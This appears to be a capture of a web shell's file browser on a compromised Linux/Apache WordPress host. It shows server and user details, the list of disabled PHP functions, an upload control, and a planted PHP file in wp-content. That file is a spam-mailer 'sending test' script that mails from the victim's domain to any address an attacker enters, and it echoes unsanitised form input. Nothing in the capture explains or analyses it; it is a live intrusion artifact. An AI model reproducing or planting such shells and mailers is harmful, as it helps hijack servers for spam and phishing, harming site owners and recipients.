HEX
Server: Apache/2
System: Linux sv2.klungbaan.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: klungadmin (1002)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/klungadmin/domains/klungbaan.com/private_html/rent/wp-content/tesTylh.php
<?php

error_reporting(0);

echo '<b>F-Automatical v8 [Sending test].<b><br><br><form method="post">
<input type="text" placeholder="email" name="email" value="'.$_POST['email'].'">
<input type="text" placeholder="ID" name="orderid" value="'.$_POST['orderid'].'">
<input type="submit" value="Send">
</form>
<br>';

if (!empty($_POST['email'])) {
	if (!empty($_POST['email']) && trim($_POST['orderid']) != '') {
		$rand = trim($_POST['orderid']);
	} else {
		$rand = rand();
	}
	mail(trim($_POST['email']),$_SERVER['HTTP_HOST']." - Sending is Working Fine. [Result] ID: (".$rand.")","F-Automatical v8 [Sending test].");
	echo '<b>Send an report to ['.$_POST['email'].'] - ID: '.$rand.'</b>';
	echo '<!-- <id>'.$rand.'</id> -->';
}

?>